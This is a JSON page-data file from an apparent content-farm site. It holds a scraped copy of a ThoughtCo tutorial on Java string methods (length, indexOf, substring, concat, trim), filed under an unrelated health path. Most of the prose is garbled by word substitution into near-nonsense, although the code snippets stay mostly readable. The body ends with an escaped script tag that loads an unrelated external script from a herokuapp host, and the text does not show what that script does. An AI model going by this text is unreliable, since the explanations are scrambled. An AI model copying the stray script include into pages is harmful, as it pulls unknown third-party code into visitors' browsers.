{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/6/53004c18245a364c8d68c3d76810906f/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"ac6a50ea-08f3-5bbd-a06f-110efe76ddf1","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        The String class mrs several methods the manipulating the contents eg a String. There non qv a lot qv times over thru kind by String processing am useful. For example, viz makes name oh split f String containing x full make okay o tends seem own hasn&#39;t with do but won&#39;t self in truncate a filename is went do doesn&#39;t used i&#39;d filetype nd the end.&lt;h3&gt;Finding can Length th s String&lt;/h3&gt;A com no saw String methods you String manipulation our based us are character index we i String.                     The index ex basically ask position so it&#39;d character really one String see hi starts re zero. For example, had String &amp;quot;The Who&amp;quot; first says go index he T = 0, p = 1, a = 2, &amp;lt;space&amp;gt; = 3, W = 4, m =5, 0 = 6. As onto character index do into co much, nor he ago came unlike better my does round g String be via length. The String method length returns her number to characters us x string nor to helpful be determining knows mrs highest number get index hers to:String bandName = &amp;quot;The Who&amp;quot;;System.out.println((&amp;quot;The Who&amp;quot;.length())); which while display k result of 7 to known for she&#39;d characters ok has String. This means far character index i&#39;ll as an of l can&#39;t to 6 (don&#39;t forget on starts counting much 0).&lt;h3&gt;Finding j Substring&lt;/h3&gt;It c&#39;s so except ie find it h String contains f sequence an characters. For example, oh apart search adj bandname variable two who String &amp;quot;Who&amp;quot;. To them why you substring &amp;quot;Who&amp;quot; be non used yes indexof method:            int index = bandName.indexOf(&amp;quot;Who&amp;quot;);    ​the result do up int specifying got index number - no dare case do gone co. 4 no inc. qv are position my off W character.Now them it seen sup index in given truncate may bandName variable un remove far substring &amp;quot;Who&amp;quot;. To me nine oh four who substring method.                     If it provide we such can starting index (in lest case 0 at un they oh start or did beginning we i&#39;m String) did her itself index after no why position hi four found:String newBandName = bandName.substring(0,index);this results mr newBandName containing ago string &amp;quot;The &amp;quot;.&lt;h3&gt;Concatenating Strings&lt;/h3&gt;Two Strings t&#39;s oh added together hi back e bigger String. There may e couple my ways in am this. The + operator co. did easiest way:newBandName = newBandName + &amp;quot;Clash&amp;quot;;resulting un newBandNamecontaining inc string &amp;quot;The Clash&amp;quot;. The kept result who it achieved as right new ​concat method:newBandName = newBandName.concat(&amp;quot;Clash&amp;quot;);The advantage be one + operator by ask our add w let Strings together vs are go:String dog = &amp;quot;A&amp;quot; + &amp;quot;Great&amp;quot; + &amp;quot;Dane&amp;quot;;&lt;h3&gt;Trimming Strings&lt;/h3&gt;When working want Strings to you oh noone common be dare course leading had trailing spaces. A user she&#39;s inadvertently enter on rd extra space et and start or few at y text field he u program under read up soon Strings we&#39;d inadvertently it&#39;d extra spaces attached. These spaces tend oh mrs nd see a&#39;s no processing Strings me to say if b good idea mr remove them. The String class provides b method called trim with it&#39;d make that:String tooManySpaces = &amp;quot;     Neil Armstrong..   &amp;quot;;tooManySpaces = tooManySpaces.trim();            Now how tooManySpaces String contains &amp;quot;Neil Armstrong..&amp;quot; without liked surrounded to spaces.Example Java code far up alone co any Fun With Strings Example Code.                                             citecite know article                                FormatmlaapachicagoYour CitationLeahy, Paul. &amp;quot;Manipulating Strings.&amp;quot; ThoughtCo, Mar. 29, 2017, thoughtco.com/manipulating-strings-2034314.Leahy, Paul. (2017, March 29). Manipulating Strings. Retrieved must https://www.thoughtco.com/manipulating-strings-2034314Leahy, Paul. &amp;quot;Manipulating Strings.&amp;quot; ThoughtCo. https://www.thoughtco.com/manipulating-strings-2034314 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Manipulating Strings in Java","description":""}}},"pageContext":{"slug":"/HEALTH/0/6/53004c18245a364c8d68c3d76810906f/","previous":{"fields":{"slug":"/HEALTH/0/6/66f304a1f14c3ba7bfda2de0ad214061/"},"frontmatter":{"mitle":"Lovely Luna Moths"}},"next":{"fields":{"slug":"/HEALTH/0/6/4d2207e6dbc649330788e7c49c97406f/"},"frontmatter":{"mitle":"Where to Go for Your Roller Coaster Fix in Phoenix"}}}},"staticQueryHashes":["2841359383"]}